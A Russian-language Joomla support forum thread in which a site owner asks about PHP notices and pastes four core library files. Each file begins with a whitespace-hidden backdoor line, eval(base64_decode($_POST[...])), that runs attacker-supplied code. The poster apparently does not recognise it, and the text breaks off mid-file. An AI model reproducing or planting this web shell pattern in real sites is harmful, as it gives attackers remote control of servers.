Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 14 Ответов
  • 4272 Просмотров
*

SenyaKulia

  • Новичок
  • 4
  • 0 / 0
Уважаемые друзья, срочно прошу Вашей помощи.

На сайте появились такие ошибки, как убрать - не знаю ((

Notice: Undefined index: nda50a7 in /usr/local/www/vhosts/senya/libraries/joomla/database/database.php on line 1 Notice: Undefined index: nfd5793 in /usr/local/www/vhosts/senya/libraries/joomla/application/component/helper.php on line 1 Notice: Undefined index: n519400 in /usr/local/www/vhosts/lsenya/libraries/joomla/cache/storage.php on line 1 Notice: Undefined index: n3294a2 in /usr/local/www/vhosts/senya/libraries/joomla/document/document.php on line 1


*

passer

  • Завсегдатай
  • 1013
  • 75 / 3
Re: Ошибки на сайте. Прошу помощи
« Ответ #1 : 01.04.2014, 17:28:36 »
Админка -> Общие настройки -> Сервер -> Сообщения об ошибках -> Нет
*

SenyaKulia

  • Новичок
  • 4
  • 0 / 0
Re: Ошибки на сайте. Прошу помощи
« Ответ #2 : 01.04.2014, 17:31:13 »
Админка -> Общие настройки -> Сервер -> Сообщения об ошибках -> Нет

Там и включено "нет"...
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Ошибки на сайте. Прошу помощи
« Ответ #3 : 01.04.2014, 17:52:26 »
А посмотреть код в начале файлов
*

SenyaKulia

  • Новичок
  • 4
  • 0 / 0
Re: Ошибки на сайте. Прошу помощи
« Ответ #4 : 01.04.2014, 17:55:42 »
А посмотреть код в начале файлов


Честно, не знаю.. тех.администратор некоторое время по непредвиденным обстоятельствам не сможет в скором времени решить эту проблему, поэтому пытаюсь это сделать я.


Вот код из первого файла database.php :

Код
<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['nda50a7']));?><?php
/**
* @version $Id: database.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla.Framework
* @subpackage Database
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Database connector class
 *
 * @abstract
 * @package Joomla.Framework
 * @subpackage Database
 * @since 1.0
 */
class JDatabase extends JObject
{
/**
* The database driver name
*
* @var string
*/
var $name = '';

/**
* The query sql string
*
* @var string
**/
var $_sql = '';

/**
* The database error number
*
* @var int
**/
var $_errorNum = 0;

/**
* The database error message
*
* @var string
*/
var $_errorMsg = '';

/**
* The prefix used on all database tables
*
* @var string
*/
var $_table_prefix = '';

/**
* The connector resource
*
* @var resource
*/
var $_resource = '';

/**
* The last query cursor
*
* @var resource
*/
var $_cursor = null;

/**
* Debug option
*
* @var boolean
*/
var $_debug = 0;

/**
* The limit for the query
*
* @var int
*/
var $_limit = 0;

/**
* The for offset for the limit
*
* @var int
*/
var $_offset = 0;

/**
* The number of queries performed by the object instance
*
* @var int
*/
var $_ticker = 0;

/**
* A log of queries
*
* @var array
*/
var $_log = null;

/**
* The null/zero date string
*
* @var string
*/
var $_nullDate = null;

/**
* Quote for named objects
*
* @var string
*/
var $_nameQuote = null;

/**
* UTF-8 support
*
* @var boolean
* @since 1.5
*/
var $_utf = 0;

/**
* The fields that are to be quote
*
* @var array
* @since 1.5
*/
var $_quoted = null;

/**
*  Legacy compatibility
*
* @var bool
* @since 1.5
*/
var $_hasQuoted = null;

/**
* Database object constructor
*
* @access public
* @param array List of options used to configure the connection
* @since 1.5
*/
function __construct( $options )
{
$prefix = array_key_exists('prefix', $options) ? $options['prefix'] : 'jos_';

// Determine utf-8 support
$this->_utf = $this->hasUTF();

//Set charactersets (needed for MySQL 4.1.2+)
if ($this->_utf){
$this->setUTF();
}

$this->_table_prefix = $prefix;
$this->_ticker = 0;
$this->_errorNum = 0;
$this->_log = array();
$this->_quoted = array();
$this->_hasQuoted = false;

// Register faked "destructor" in PHP4 to close all connections we might have made
if (version_compare(PHP_VERSION, '5') == -1) {
register_shutdown_function(array(&$this, '__destruct'));
}
}

/**
* Returns a reference to the global Database object, only creating it
* if it doesn't already exist.
*
* The 'driver' entry in the parameters array specifies the database driver
* to be used (defaults to 'mysql' if omitted). All other parameters are
* database driver dependent.
*
* @param array Parameters to be passed to the database driver
* @return JDatabase A database object
* @since 1.5
*/
function &getInstance( $options = array() )
{
static $instances;

if (!isset( $instances )) {
$instances = array();
}

$signature = serialize( $options );

if (empty($instances[$signature]))
{
$driver = array_key_exists('driver', $options) ? $options['driver'] : 'mysql';
$select = array_key_exists('select', $options) ? $options['select'] : true;
$database = array_key_exists('database', $options) ? $options['database'] : null;

$driver = preg_replace('/[^A-Z0-9_\.-]/i', '', $driver);
$path = dirname(__FILE__).DS.'database'.DS.$driver.'.php';

if (file_exists($path)) {
require_once($path);
} else {
JError::setErrorHandling(E_ERROR, 'die'); //force error type to die
$error = JError::raiseError( 500, JTEXT::_('Unable to load Database Driver:').$driver);
return $error;
}

$adapter = 'JDatabase'.$driver;
$instance = new $adapter($options);

if ( $error = $instance->getErrorMsg() )
{
JError::setErrorHandling(E_ERROR, 'ignore'); //force error type to die
$error = JError::raiseError( 500, JTEXT::_('Unable to connect to the database:').$error);
return $error;
}


$instances[$signature] = & $instance;
}

return $instances[$signature];
}

/**
* Database object destructor
*
* @abstract
* @access private
* @return boolean
* @since 1.5
*/
function __destruct()
{
return true;
}

/**
* Get the database connectors
*
* @access public
* @return array An array of available session handlers
*/
function getConnectors()
{
jimport('joomla.filesystem.folder');
$handlers = JFolder::files(dirname(__FILE__).DS.'database', '.php$');

$names = array();
foreach($handlers as $handler)
{
$name = substr($handler, 0, strrpos($handler, '.'));
$class = 'JDatabase'.ucfirst($name);

if(!class_exists($class)) {
require_once(dirname(__FILE__).DS.'database'.DS.$name.'.php');
}

if(call_user_func_array( array( trim($class), 'test' ), null)) {
$names[] = $name;
}
}

return $names;
}

/**
* Test to see if the MySQLi connector is available
*
* @static
* @access public
* @return boolean  True on success, false otherwise.
*/
function test()
{
return false;
}

/**
* Determines if the connection to the server is active.
*
* @access      public
* @return      boolean
* @since       1.5
*/
function connected()
{
return false;
}

/**
* Determines UTF support
*
* @abstract
* @access public
* @return boolean
* @since 1.5
*/
function hasUTF() {
return false;
}

/**
* Custom settings for UTF support
*
* @abstract
* @access public
* @since 1.5
*/
function setUTF() {
}

/**
* Adds a field or array of field names to the list that are to be quoted
*
* @access public
* @param mixed Field name or array of names
* @since 1.5
*/
function addQuoted( $quoted )
{
if (is_string( $quoted )) {
$this->_quoted[] = $quoted;
} else {
$this->_quoted = array_merge( $this->_quoted, (array)$quoted );
}
$this->_hasQuoted = true;
}

/**
* Splits a string of queries into an array of individual queries
*
* @access public
* @param string The queries to split
* @return array queries
*/
function splitSql( $queries )
{
$start = 0;
$open = false;
$open_char = '';
$end = strlen($queries);
$query_split = array();
for($i=0;$i<$end;$i++) {
$current = substr($queries,$i,1);
if(($current == '"' || $current == '\'')) {
$n = 2;
while(substr($queries,$i - $n + 1, 1) == '\\' && $n < $i) {
$n ++;
}
if($n%2==0) {
if ($open) {
if($current == $open_char) {
$open = false;
$open_char = '';
}
} else {
$open = true;
$open_char = $current;
}
}
}
if(($current == ';' && !$open)|| $i == $end - 1) {
$query_split[] = substr($queries, $start, ($i - $start + 1));
$start = $i + 1;
}
}

return $query_split;
}



/**
* Checks if field name needs to be quoted
*
* @access public
* @param string The field name
* @return bool
*/
function isQuoted( $fieldName )
{
if ($this->_hasQuoted) {
return in_array( $fieldName, $this->_quoted );
} else {
return true;
}
}

/**
* Sets the debug level on or off
*
* @access public
* @param int 0 = off, 1 = on
*/
function debug( $level ) {
$this->_debug = intval( $level );
}

/**
* Get the database UTF-8 support
*
* @access public
* @return boolean
* @since 1.5
*/
function getUTFSupport() {
return $this->_utf;
}

/**
* Get the error number
*
* @access public
* @return int The error number for the most recent query
*/
function getErrorNum() {
return $this->_errorNum;
}


/**
* Get the error message
*
* @access public
* @return string The error message for the most recent query
*/
function getErrorMsg($escaped = false)
{
if($escaped) {
return addslashes($this->_errorMsg);
} else {
return $this->_errorMsg;
}
}

/**
* Get a database escaped string
*
* @param string The string to be escaped
* @param boolean Optional parameter to provide extra escaping
* @return string
* @access public
* @abstract
*/
function getEscaped( $text, $extra = false )
{
return;
}

/**
* Get a database error log
*
* @access public
* @return array
*/
function getLog( )
{
return $this->_log;
}

/**
* Get the total number of queries made
*
* @access public
* @return array
*/
function getTicker( )
{
return $this->_ticker;
}

/**
* Quote an identifier name (field, table, etc)
*
* @access public
* @param string The name
* @return string The quoted name
*/
function nameQuote( $s )
{
// Only quote if the name is not using dot-notation
if (strpos( $s, '.' ) === false)
{
$q = $this->_nameQuote;
if (strlen( $q ) == 1) {
return $q . $s . $q;
} else {
return $q{0} . $s . $q{1};
}
}
else {
return $s;
}
}
/**
* Get the database table prefix
*
* @access public
* @return string The database prefix
*/
function getPrefix()
{
return $this->_table_prefix;
}

/**
* Get the database null date
*
* @access public
* @return string Quoted null/zero date string
*/
function getNullDate()
{
return $this->_nullDate;
}

/**
* Sets the SQL query string for later execution.
*
* This function replaces a string identifier <var>$prefix</var> with the
* string held is the <var>_table_prefix</var> class variable.
*
* @access public
* @param string The SQL query
* @param string The offset to start selection
* @param string The number of results to return
* @param string The common table prefix
*/
function setQuery( $sql, $offset = 0, $limit = 0, $prefix='#__' )
{
$this->_sql = $this->replacePrefix( $sql, $prefix );
$this->_limit = (int) $limit;
$this->_offset = (int) $offset;
}

/**
* This function replaces a string identifier <var>$prefix</var> with the
* string held is the <var>_table_prefix</var> class variable.
*
* @access public
* @param string The SQL query
* @param string The common table prefix
*/
function replacePrefix( $sql, $prefix='#__' )
{
$sql = trim( $sql );

$escaped = false;
$quoteChar = '';

$n = strlen( $sql );

$startPos = 0;
$literal = '';
while ($startPos < $n) {
$ip = strpos($sql, $prefix, $startPos);
if ($ip === false) {
break;
}

$j = strpos( $sql, "'", $startPos );
$k = strpos( $sql, '"', $startPos );
if (($k !== FALSE) && (($k < $j) || ($j === FALSE))) {
$quoteChar = '"';
$j = $k;
} else {
$quoteChar = "'";
}

if ($j === false) {
$j = $n;
}

$literal .= str_replace( $prefix, $this->_table_prefix,substr( $sql, $startPos, $j - $startPos ) );
$startPos = $j;

$j = $startPos + 1;

if ($j >= $n) {
break;
}

// quote comes first, find end of quote
while (TRUE) {
$k = strpos( $sql, $quoteChar, $j );
$escaped = false;
if ($k === false) {
break;
}
$l = $k - 1;
while ($l >= 0 && $sql{$l} == '\\') {
$l--;
$escaped = !$escaped;
}
if ($escaped) {
$j = $k+1;
continue;
}
break;
}
if ($k === FALSE) {
// error in the query - no end quote; ignore it
break;
}
$literal .= substr( $sql, $startPos, $k - $startPos + 1 );
$startPos = $k+1;
}
if ($startPos < $n) {
$literal .= substr( $sql, $startPos, $n - $startPos );
}
return $literal;
}

/**
* Get the active query
*
* @access public
* @return string The current value of the internal SQL vairable
*/
function getQuery()
{
return $this->_sql;
}

/**
* Execute the query
*
* @abstract
* @access public
* @return mixed A database resource if successful, FALSE if not.
*/
function query()
{
return;
}

/**
* Get the affected rows by the most recent query
*
* @abstract
* @access public
* @return int The number of affected rows in the previous operation
* @since 1.0.5
*/
function getAffectedRows()
{
return;
}

/**
* Execute a batch query
*
* @abstract
* @access public
* @return mixed A database resource if successful, FALSE if not.
*/
function queryBatch( $abort_on_error=true, $p_transaction_safe = false)
{
return false;
}

/**
* Diagnostic function
*
* @abstract
* @access public
*/
function explain()
{
return;
}

/**
* Get the number of rows returned by the most recent query
*
* @abstract
* @access public
* @param object Database resource
* @return int The number of rows
*/
function getNumRows( $cur=null )
{
return;
}

/**
* This method loads the first field of the first row returned by the query.
*
* @abstract
* @access public
* @return The value returned in the query or null if the query failed.
*/
function loadResult()
{
return;
}

/**
* Load an array of single field results into an array
*
* @abstract
*/
function loadResultArray($numinarray = 0)
{
return;
}

/**
* Fetch a result row as an associative array
*
* @abstract
*/
function loadAssoc()
{
return;
}

/**
* Load a associactive list of database rows
*
* @abstract
* @access public
* @param string The field name of a primary key
* @return array If key is empty as sequential list of returned records.
*/
function loadAssocList( $key='' )
{
return;
}

/**
* This global function loads the first row of a query into an object
*
*
* @abstract
* @access public
* @param object
*/
function loadObject( )
{
return;
}

/**
* Load a list of database objects
*
* @abstract
* @access public
* @param string The field name of a primary key
* @return array If <var>key</var> is empty as sequential list of returned records.

* If <var>key</var> is not empty then the returned array is indexed by the value
* the database key.  Returns <var>null</var> if the query fails.
*/
function loadObjectList( $key='' )
{
return;
}

/**
* Load the first row returned by the query
*
* @abstract
* @access public
* @return The first row of the query.
*/
function loadRow()
{
return;
}

/**
* Load a list of database rows (numeric column indexing)
*
* If <var>key</var> is not empty then the returned array is indexed by the value
* the database key.  Returns <var>null</var> if the query fails.
*
* @abstract
* @access public
* @param string The field name of a primary key
* @return array
*/
function loadRowList( $key='' )
{
return;
}

/**
* Inserts a row into a table based on an objects properties
* @param string The name of the table
* @param object An object whose properties match table fields
* @param string The name of the primary key. If provided the object property is updated.
*/
function insertObject( $table, &$object, $keyName = NULL )
{
return;
}

/**
* Update an object in the database
*
* @abstract
* @access public
* @param string
* @param object
* @param string
* @param boolean
*/
function updateObject( $table, &$object, $keyName, $updateNulls=true )
{
return;
}

/**
* Print out an error statement
*
* @param boolean If TRUE, displays the last SQL statement sent to the database
* @return string A standised error message
*/
function stderr( $showSQL = false )
{
if ( $this->_errorNum != 0 ) {
return "DB function failed with error number $this->_errorNum"
."<br /><font color=\"red\">$this->_errorMsg</font>"
.($showSQL ? "<br />SQL = <pre>$this->_sql</pre>" : '');
} else {
return "DB function reports no errors";
}
}

/**
* Get the ID generated from the previous INSERT operation
*
* @abstract
* @access public
* @return mixed
*/
function insertid()
{
return;
}

/**
* Get the database collation
*
* @abstract
* @access public
* @return string Collation in use
*/
function getCollation()
{
return;
}

/**
* Get the version of the database connector
*
* @abstract
*/
function getVersion()
{
return 'Not available for this connector';
}

/**
* List tables in a database
*
* @abstract
* @access public
* @return array A list of all the tables in the database
*/
function getTableList()
{
return;
}

/**
* Shows the CREATE TABLE statement that creates the given tables
*
* @abstract
* @access public
* @param array|string A table name or a list of table names
* @return array A list the create SQL for the tables
*/
function getTableCreate( $tables )
{
return;
}

/**
* Retrieves information about the given tables
*
* @abstract
* @access public
* @param array|string A table name or a list of table names
* @param boolean Only return field types, default true
* @return array An array of fields by table
*/
function getTableFields( $tables, $typeonly = true )
{
return;
}

// ----
// ADODB Compatibility Functions
// ----

/**
* Get a quoted database escaped string
*
* @param string A string
* @param boolean Default true to escape string, false to leave the string unchanged
* @return string
* @access public
*/
function Quote( $text, $escaped = true )
{
return '\''.($escaped ? $this->getEscaped( $text ) : $text).'\'';
}

/**
* ADODB compatability function
*
* @access public
* @param string SQL
* @since 1.5
*/
function GetCol( $query )
{
$this->setQuery( $query );
return $this->loadResultArray();
}

/**
* ADODB compatability function
*
* @access public
* @param string SQL
* @return object
* @since 1.5
*/
function Execute( $query )
{
jimport( 'joomla.database.recordset' );

$query = trim( $query );
$this->setQuery( $query );
if (preg_match('#^select#i', $query )) {
$result = $this->loadRowList();
return new JRecordSet( $result );
} else {
$result = $this->query();
if ($result === false) {
return false;
} else {
return new JRecordSet( array() );
}
}
}

/**
* ADODB compatability function
*
* @access public
* @since 1.5
*/
function SelectLimit( $query, $count, $offset=0 )
{
jimport( 'joomla.database.recordset' );

$this->setQuery( $query, $offset, $count );
$result = $this->loadRowList();
return new JRecordSet( $result );
}

/**
* ADODB compatability function
*
* @access public
* @since 1.5
*/
function PageExecute( $sql, $nrows, $page, $inputarr=false, $secs2cache=0 )
{
jimport( 'joomla.database.recordset' );

$this->setQuery( $sql, $page*$nrows, $nrows );
$result = $this->loadRowList();
return new JRecordSet( $result );
}
/**
* ADODB compatability function
*
* @access public
* @param string SQL
* @return array
* @since 1.5
*/
function GetRow( $query )
{
$this->setQuery( $query );
$result = $this->loadRowList();
return $result[0];
}

/**
* ADODB compatability function
*
* @access public
* @param string SQL
* @return mixed
* @since 1.5
*/
function GetOne( $query )
{
$this->setQuery( $query );
$result = $this->loadResult();
return $result;
}

/**
* ADODB compatability function
*
* @since 1.5
*/
function BeginTrans()
{
}

/**
* ADODB compatability function
*
* @since 1.5
*/
function RollbackTrans()
{
}

/**
* ADODB compatability function
*
* @since 1.5
*/
function CommitTrans()
{
}

/**
* ADODB compatability function
*
* @since 1.5
*/
function ErrorMsg()
{
return $this->getErrorMsg();
}

/**
* ADODB compatability function
*
* @since 1.5
*/
function ErrorNo()
{
return $this->getErrorNum();
}

/**
* ADODB compatability function
*
* @since 1.5
*/
function GenID( $foo1=null, $foo2=null )
{
return '0';
}
}


C файла helper

Код
<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['nfd5793']));?><?php
/**
* @version $Id: helper.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla.Framework
* @subpackage Application
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Component helper class
 *
 * @static
 * @package Joomla.Framework
 * @subpackage Application
 * @since 1.5
 */
class JComponentHelper
{
/**
* Get the component info
*
* @access public
* @param string $name The component name
* @param boolean $string If set and a component does not exist, the enabled attribue will be set to false
* @return object A JComponent object
*/
function &getComponent( $name, $strict = false )
{
$result = null;
$components = JComponentHelper::_load();

if (isset( $components[$name] ))
{
$result = &$components[$name];
}
else
{
$result = new stdClass();
$result->enabled = $strict ? false : true;
$result->params = null;
}

return $result;
}

/**
* Checks if the component is enabled
*
* @access public
* @param string $component The component name
* @param boolean $string If set and a component does not exist, false will be returned
* @return boolean
*/
function isEnabled( $component, $strict = false )
{
global $mainframe;

$result = &JComponentHelper::getComponent( $component, $strict );
return ($result->enabled | $mainframe->isAdmin());
}

/**
* Gets the parameter object for the component
*
* @access public
* @param string $name The component name
* @return object A JParameter object
*/
function &getParams( $name )
{
static $instances;
if (!isset( $instances[$name] ))
{
$component = &JComponentHelper::getComponent( $name );
$instances[$name] = new JParameter($component->params);
}
return $instances[$name];
}

function renderComponent($name = null, $params = array())
{
global $mainframe, $option;

if(empty($name)) {
// Throw 404 if no component
JError::raiseError(404, JText::_("Component Not Found"));
return;
}

$scope = $mainframe->scope; //record the scope
$mainframe->scope = $name;  //set scope to component name

// Build the component path
$name = preg_replace('/[^A-Z0-9_\.-]/i', '', $name);
$file = substr( $name, 4 );

// Define component path
define( 'JPATH_COMPONENT', JPATH_BASE.DS.'components'.DS.$name);
define( 'JPATH_COMPONENT_SITE', JPATH_SITE.DS.'components'.DS.$name);
define( 'JPATH_COMPONENT_ADMINISTRATOR', JPATH_ADMINISTRATOR.DS.'components'.DS.$name);

// get component path
if ( $mainframe->isAdmin() && file_exists(JPATH_COMPONENT.DS.'admin.'.$file.'.php') ) {
$path = JPATH_COMPONENT.DS.'admin.'.$file.'.php';
} else {
$path = JPATH_COMPONENT.DS.$file.'.php';
}

// If component disabled throw error
if (!JComponentHelper::isEnabled( $name ) || !file_exists($path)) {
JError::raiseError( 404, JText::_( 'Component Not Found' ) );
}

// Handle legacy globals if enabled
if ($mainframe->getCfg('legacy'))
{
// Include legacy globals
global $my, $database, $id, $acl, $task;

// For backwards compatibility extract the config vars as globals
$registry =& JFactory::getConfig();
foreach (get_object_vars($registry->toObject()) as $k => $v)
{
$varname = 'mosConfig_'.$k;
$$varname = $v;
}
$contentConfig = &JComponentHelper::getParams( 'com_content' );
foreach (get_object_vars($contentConfig->toObject()) as $k => $v)
{
$varname = 'mosConfig_'.$k;
$$varname = $v;
}
$usersConfig = &JComponentHelper::getParams( 'com_users' );
foreach (get_object_vars($usersConfig->toObject()) as $k => $v)
{
$varname = 'mosConfig_'.$k;
$$varname = $v;
}

}

$task = JRequest::getString( 'task' );

// Load common language files
$lang =& JFactory::getLanguage();
$lang->load($name);

// Handle template preview outlining
$contents = null;

// Execute the component
ob_start();
require_once $path;
$contents = ob_get_contents();
ob_end_clean();

// Build the component toolbar
jimport( 'joomla.application.helper' );
if (($path = JApplicationHelper::getPath( 'toolbar' )) && $mainframe->isAdmin()) {

// Get the task again, in case it has changed
$task = JRequest::getString( 'task' );

// Make the toolbar
include_once( $path );
}

$mainframe->scope = $scope; //revert the scope

return $contents;
}

/**
* Load components
*
* @access private
* @return array
*/
function _load()
{
static $components;

if (isset($components)) {
return $components;
}

$db = &JFactory::getDBO();

$query = 'SELECT *' .
' FROM #__components' .
' WHERE parent = 0';
$db->setQuery( $query );

if (!($components = $db->loadObjectList( 'option' ))) {
JError::raiseWarning( 'SOME_ERROR_CODE', "Error loading Components: " . $db->getErrorMsg());
return false;
}

return $components;

}
}


С файла storage:

Код
<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['n519400']));?><?php
/**
* @version $Id:storage.php 6961 2007-03-15 16:06:53Z tcp $
* @package Joomla.Framework
* @subpackage Cache
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Abstract cache storage handler
 *
 * @abstract
 * @package Joomla.Framework
 * @subpackage Cache
 * @since 1.5
 */
class JCacheStorage extends JObject
{
/**
* Constructor
*
* @access protected
* @param array $options optional parameters
*/
function __construct( $options = array() )
{
$this->_application = (isset($options['application']))? $options['application'] : null;
$this->_language = (isset($options['language']))? $options['language'] : 'en-GB';
$this->_locking = (isset($options['locking']))? $options['locking'] : true;
$this->_lifetime = (isset($options['lifetime']))? $options['lifetime'] : null;
$this->_now = (isset($options['now']))? $options['now'] : time();

// Set time threshold value.  If the lifetime is not set, default to 60 (0 is BAD)
// _threshold is now available ONLY as a legacy (it's deprecated).  It's no longer used in the core.
if (empty($this->_lifetime)) {
$this->_threshold = $this->_now - 60;
$this->_lifetime = 60;
} else {
$this->_threshold = $this->_now - $this->_lifetime;
}
}

/**
* Returns a reference to a cache storage hanlder object, only creating it
* if it doesn't already exist.
*
* @static
* @param string $handler The cache storage handler to instantiate
* @return object A JCacheStorageHandler object
* @since 1.5
*/
function &getInstance($handler = 'file', $options = array())
{
static $now = null;
if(is_null($now)) {
$now = time();
}
$options['now'] = $now;
//We can't cache this since options may change...
$handler = strtolower(preg_replace('/[^A-Z0-9_\.-]/i', '', $handler));
$class   = 'JCacheStorage'.ucfirst($handler);
if(!class_exists($class))
{
$path = dirname(__FILE__).DS.'storage'.DS.$handler.'.php';
if (file_exists($path) ) {
require_once($path);
} else {
return JError::raiseWarning(500, 'Unable to load Cache Storage: '.$handler);
}
}
$return = new $class($options);
return $return;
}

/**
* Get cached data by id and group
*
* @abstract
* @access public
* @param string $id The cache data id
* @param string $group The cache data group
* @param boolean $checkTime True to verify cache time expiration threshold
* @return mixed Boolean false on failure or a cached data string
* @since 1.5
*/
function get($id, $group, $checkTime)
{
return;
}

/**
* Store the data to cache by id and group
*
* @abstract
* @access public
* @param string $id The cache data id
* @param string $group The cache data group
* @param string $data The data to store in cache
* @return boolean True on success, false otherwise
* @since 1.5
*/
function store($id, $group, $data)
{
return true;
}

/**
* Remove a cached data entry by id and group
*
* @abstract
* @access public
* @param string $id The cache data id
* @param string $group The cache data group
* @return boolean True on success, false otherwise
* @since 1.5
*/
function remove($id, $group)
{
return true;
}

/**
* Clean cache for a group given a mode.
*
* group mode : cleans all cache in the group
* notgroup mode : cleans all cache not in the group
*
* @abstract
* @access public
* @param string $group The cache data group
* @param string $mode The mode for cleaning cache [group|notgroup]
* @return boolean True on success, false otherwise
* @since 1.5
*/
function clean($group, $mode)
{
return true;
}

/**
* Garbage collect expired cache data
*
* @abstract
* @access public
* @return boolean  True on success, false otherwise.
*/
function gc()
{
return true;
}

/**
* Test to see if the storage handler is available.
*
* @abstract
* @static
* @access public
* @return boolean  True on success, false otherwise.
*/
function test()
{
return true;
}
}


С файла document

Код
<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['n3294a2']));?><?php
/**
* @version $Id: document.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla.Framework
* @subpackage Document
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

//Register the renderer class with the loader
JLoader::register('JDocumentRenderer', dirname(__FILE__).DS.'renderer.php');

/**
 * Document class, provides an easy interface to parse and display a document
 *
 * @abstract
 * @package Joomla.Framework
 * @subpackage Document
 * @since 1.5
 */
class JDocument extends JObject
{
/**
* Document title
*
* @var string
* @access  public
*/
var $title = '';

/**
* Document description
*
* @var string
* @access  public
*/
var $description = '';

/**
* Document full URL
*
* @var string
* @access  public
*/
var $link = '';

/**
* Document base URL
*
* @var string
* @access  public
*/
var $base = '';

/**
* Contains the document language setting
*
* @var string
* @access  public
*/
var $language = 'en-gb';

/**
* Contains the document direction setting
*
* @var string
* @access  public
*/
var $direction = 'ltr';

/**
* Document generator
*
* @var string
* @access public
*/
var $_generator = 'Joomla! 1.5 - Open Source Content Management';

/**
* Document modified date
*
* @var string
* @access   private
*/
var $_mdate = '';

/**
* Tab string
*
* @var string
* @access private
*/
var $_tab = "\11";

/**
* Contains the line end string
*
* @var string
* @access private
*/
var $_lineEnd = "\12";

/**
* Contains the character encoding string
*
* @var string
* @access  private
*/
var $_charset = 'utf-8';

/**
* Document mime type
*
* @var string
* @access private
*/
var $_mime = '';

/**
* Document namespace
*
* @var string
* @access   private
*/
var $_namespace = '';

/**
* Document profile
*
* @var string
* @access   private
*/
var $_profile = '';

/**
* Array of linked scripts
*
* @var array
* @access   private
*/
var $_scripts = array();

/**
* Array of scripts placed in the header
*
* @var  array
* @access   private
*/
var $_script = array();

/**
* Array of linked style sheets
*
* @var array
* @access  private
*/
var $_styleSheets = array();

/**
* Array of included style declarations
*
* @var array
* @access  private
*/
var $_style = array();

/**
* Array of meta tags
*
* @var array
* @access  private
*/
var $_metaTags = array();

/**
* The rendering engine
*
* @var object
* @access  private
*/
var $_engine = null;

/**
* The document type
*
* @var string
* @access  private
*/
var $_type = null;

/**
* Array of buffered output
*
* @var mixed (depends on the renderer)
* @access private
*/
var $_buffer = null;


/**
* Class constructor
*
* @access protected
* @param array $options Associative array of options
*/
function __construct( $options = array())
{
parent::__construct();

if (array_key_exists('lineend', $options)) {
$this->setLineEnd($options['lineend']);
}

if (array_key_exists('charset', $options)) {
$this->setCharset($options['charset']);
}

if (array_key_exists('language', $options)) {
$this->setLanguage($options['language']);
}

if (array_key_exists('direction', $options)) {
$this->setDirection($options['direction']);
}

if (array_key_exists('tab', $options)) {
$this->setTab($options['tab']);
}

if (array_key_exists('link', $options)) {
$this->setLink($options['link']);
}

if (array_key_exists('base', $options)) {
$this->setBase($options['base']);
}
}

/**
* Returns a reference to the global JDocument object, only creating it
* if it doesn't already exist.
*
* This method must be invoked as:
* <pre>  $document = &JDocument::getInstance();</pre>
*
* @access public
* @param type $type The document type to instantiate
* @return object  The document object.
*/
function &getInstance($type = 'html', $attributes = array())
{
static $instances;

if (!isset( $instances )) {
$instances = array();
}

$signature = serialize(array($type, $attributes));

if (empty($instances[$signature]))
{
$type = preg_replace('/[^A-Z0-9_\.-]/i', '', $type);
$path = dirname(__FILE__).DS.$type.DS.$type.'.php';
$ntype = null;

// Check if the document type exists
if ( ! file_exists($path))
{
// Default to the raw format
$ntype = $type;
$type = 'raw';
}

// Determine the path and class
$class = 'JDocument'.$type;
if(!class_exists($class))
{
$path = dirname(__FILE__).DS.$type.DS.$type.'.php';
if (file_exists($path)) {
require_once($path);
} else {
JError::raiseError(500,JText::_('Unable to load document class'));
}
}

$instance = new $class($attributes);
$instances[$signature] =& $instance;

if ( !is_null($ntype) )
{
// Set the type to the Document type originally requested
$instance->setType($ntype);
}
}

return $instances[$signature];
}

/**
* Set the document type
*
* @access public
* @param string $type
*/
function setType($type) {
$this->_type = $type;
}

/**
* Returns the document type
*
* @access public
* @return string
*/
function getType() {
return $this->_type;
}

/**
* Get the document head data
*
* @access public
* @return array The document head data in array form
*/
function getHeadData() {
// Impelemented in child classes
}

/**
* Set the document head data
*
* @access public
* @param array $data The document head data in array form
*/
function setHeadData($data) {
// Impelemented in child classes
}

/**
* Get the contents of the document buffer
*
* @access public
* @return The contents of the document buffer
*/
function getBuffer() {
return $this->_buffer;
}

/**
* Set the contents of the document buffer
*
* @access public
* @param string $content The content to be set in the buffer
*/
function setBuffer($content) {
$this->_buffer = $content;
}

/**
* Gets a meta tag.
*
* @param string $name Value of name or http-equiv tag
* @param bool $http_equiv META type "http-equiv" defaults to null
* @return string
* @access public
*/
function getMetaData($name, $http_equiv = false)
{
$result = '';
$name = strtolower($name);
if($name == 'generator') {
$result = $this->getGenerator();
} elseif($name == 'description') {
$result = $this->getDescription();
} else {
if ($http_equiv == true) {
$result = @$this->_metaTags['http-equiv'][$name];
} else {
$result = @$this->_metaTags['standard'][$name];
